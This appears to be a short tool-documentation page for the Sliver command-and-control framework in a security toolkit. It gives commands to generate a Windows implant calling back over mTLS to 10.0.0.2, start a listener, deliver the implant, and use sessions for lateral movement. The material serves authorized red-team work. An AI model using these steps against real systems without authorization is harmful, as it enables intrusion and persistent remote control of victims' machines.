Post Exploitation
sliver
sliver is a modern C2 — the open-source framework a lot of teams reached for as
the older ones aged. You generate implants (“sessions” and quieter “beacons”) for
Windows, Linux, or macOS, deliver them to compromised hosts, and manage them all
from a central server: run commands, move files, pivot through the network, and
orchestrate a whole engagement. It speaks multiple transports (mTLS, HTTP(S), DNS,
WireGuard), supports multiplayer operation for teams, and is scriptable — a
capable, actively maintained platform for the manage-your-access phase.
Installed from the AUR; Security → Post Exploitation → sliver. It’s a
client/server framework — running it is the point — so Oniomarchy starts it
directly. The package ships sliver-server (the C2 server and its console) and
sliver-client (for connecting to a server as an operator).
Using it
- Start the server (
sliver-server). On first run it sets up its own database and certificates, then drops you into its console. - Generate an implant for the target platform:
sliver > generate --mtls 10.0.0.2 --os windows --save /tmp/ - Start a listener to catch it:
sliver > mtls - Deliver and run the implant on the target; the session appears in the console.
- Interact with a session (
use <id>) to run commands, move laterally, and manage your foothold.helplists the full command set.
For a quick single shell rather than a full C2, the reverse-shell listener in the Trigger menu is faster.